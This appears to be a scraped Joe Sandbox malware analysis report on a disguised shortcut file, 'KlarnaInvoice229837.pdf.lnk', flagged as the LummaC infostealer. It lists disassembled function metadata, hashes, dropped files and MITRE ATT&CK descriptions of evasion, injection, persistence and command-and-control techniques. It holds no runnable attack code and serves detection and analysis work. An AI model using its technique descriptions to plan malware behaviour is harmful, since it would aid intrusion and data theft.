Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: 9d28bc642cb9faf6ac73232d4df42f1b3ab8b880938ccbd76460a28c0e81f7e0
Instruction ID: ab5047225322dd0f09e59da24c55032ec56d991d6f067e9f0e727b91528897e3
Opcode Fuzzy Hash: 9d28bc642cb9faf6ac73232d4df42f1b3ab8b880938ccbd76460a28c0e81f7e0
Instruction Fuzzy Hash: 693126B0640B959FE331CF24CC80B56BBE9FB44796F100229E2649B2D1E7B5AC80CB54

Function 10008430 Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 558570063cdc581bfc17ad4b4f7e5e1a69142dd0098614b42d7a211b1c079b07
Instruction ID: b3d95f60d6eac5c5a1fc1799922740b16c976bc58ac93dbf79ef179987904ab4
Opcode Fuzzy Hash: 558570063cdc581bfc17ad4b4f7e5e1a69142dd0098614b42d7a211b1c079b07
Instruction Fuzzy Hash: E281C2B5E006049FEB04DFA4CC86AAFB7F9FF48640F41442DE546A7246EB35E9008BA4

Function 100063D0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 291COMMON

Download Yara Rule

APIs

Part of subcall function 10004A70: GlobalLock.KERNEL32 ref: 10004AA7
Part of subcall function 10004A70: MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000,00000000,00000000,00000000), ref: 10004AC0
Part of subcall function 10004A70: GetLastError.KERNEL32 ref: 10004ACD

__ftol.LIBCMT ref: 10006531
__ftol.LIBCMT ref: 1000654E

Strings

VUY, xrefs: 100064D2

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID: __ftol$ErrorFileGlobalLastLockView
String ID: VUY
API String ID: 1067535631-1010590305
Opcode ID: e585e9573e9734a443a94634dfc999e58bd03f1afdfc2864826cc0f0fa7a1550
Instruction ID: 876d5011bf7d58695ab22d074388500ceeb6f2177cbcc5b1fef0a8467d6d7e81
Opcode Fuzzy Hash: e585e9573e9734a443a94634dfc999e58bd03f1afdfc2864826cc0f0fa7a1550
Instruction Fuzzy Hash: 45B1D5B5D002199BEF14DF58CC91BEFB7B9EF48740F14815DE805A7249EB71AA80CBA1

Function 1003D42D Relevance: 5.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,1003C7A2,?,1003A92D), ref: 1003D43A
InitializeCriticalSection.KERNEL32 ref: 1003D442
InitializeCriticalSection.KERNEL32 ref: 1003D44A
InitializeCriticalSection.KERNEL32 ref: 1003D452

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: a29f6b1f95e6bf8be67620d8916c5cdc55bebaf76ce8af77c34f41c08c1ddf74
Instruction ID: 1bafbb863b5484e60082c28ad5ba06cecf5275015ec66c6fcf44fbf888970b46
Opcode Fuzzy Hash: a29f6b1f95e6bf8be67620d8916c5cdc55bebaf76ce8af77c34f41c08c1ddf74
Instruction Fuzzy Hash: 92C002719014349BEE113B55DE858C53F77EB052A03010063E30452030CAE31CE4DFC4

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report KlarnaInvoice229837.pdf.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0e591b70-9ff5-465b-800f-f8c08d6ff303.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\947bb17c-86aa-4f4e-af45-845f43bb2c55.tmp

Windows Analysis Report
KlarnaInvoice229837.pdf.lnk

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre